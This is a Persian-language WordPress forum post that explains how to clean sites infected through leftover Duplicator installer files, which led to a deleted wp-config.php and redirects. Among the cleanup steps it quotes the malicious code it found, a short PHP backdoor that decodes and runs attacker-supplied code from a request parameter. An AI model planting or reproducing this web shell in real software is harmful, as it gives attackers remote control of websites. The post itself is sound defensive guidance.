miladalizadeh 257 ارسال شده در مهر 97 گزارش بازنشر ارسال شده در مهر 97 اخیرا مشاهده شد که اکثر سایت های وردپرسی دچار مشکل حذف فایل wp-config.php و ریدایرکت به دیگر وب سایت ها شده اند و درخواست های زیادی مبنی بر حل مشکل ریدایرکت سایت ها از داشتیم که تصمیم گرفتیم آموزش حل مشکل را در انجمن قرار بدهیم این مشکل برای سایت هایی پیش آمده است که وب سایت خود را با افزونه داپلیکیتور راه اندازی کرده اند اما بعد از نصب فایلهای اینستالر این افزونه رو پاک نکرده اند. رفع مشکل مشکل حذف فایل wp-config.php و ریدایرکت برای رفع این مشکل ابتدا وارد هاست سایت خود میشوید و از قسمت public_html که روت هاست نیز گفته میشود، فایل های زیر که فایل های اصلی ویروسی هستند باید پاک شوند temp-crawl.php wp-crawl.php و سپس فایل های افزونه ی داپلیکتور یا همان فایل های نصبی را نیز پاک میکنیم database.sql installer-backup.php installer-data.sql installer-log.txt installer.php نمونه کدی که در فایل ذکر شده مشاهده شده است بصورت زیر است: <?php @file_put_contents('tempcrawl','<?php '.base64_decode($_REQUEST['q'])); @include('tempcrawl'); @unlink('tempcrawl'); در انتها کدهای فایل wp-config.php رو هم حتما بررسی کنید و خط کدهای مشکوک رو پاک کنید یا اینکه این فایل wp-config.php رو جایگزین کنید و اطلاعات دیتابیس خودتون رو در این فایل وارد کنید. همچنین باید هسته جی کوئری وردپرس به این آدرس رو هم اصلاح نمائید. برای این منظور وردپرس رو دانلود کنید و این فایل رو با فایل درون هاست خودتون جایگزین کنید wp-includes/js/jquery/jquery.js توجه داشته باشید که استفاده از این افزونه برای ساخت بسته های نصبی موردی نداشته ولی باید بعد از اتمام ساخت بسته ی نصبی فایل ها + خود افزونه از وبسایت حذف شود تا در آپدیت های بعدی افزونه این باگ به صورت کلی پچ شود سوالی داشتید بپرسید بنده پاسخگو هستم امید وارم مطلب مفیدی باشه 2 نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .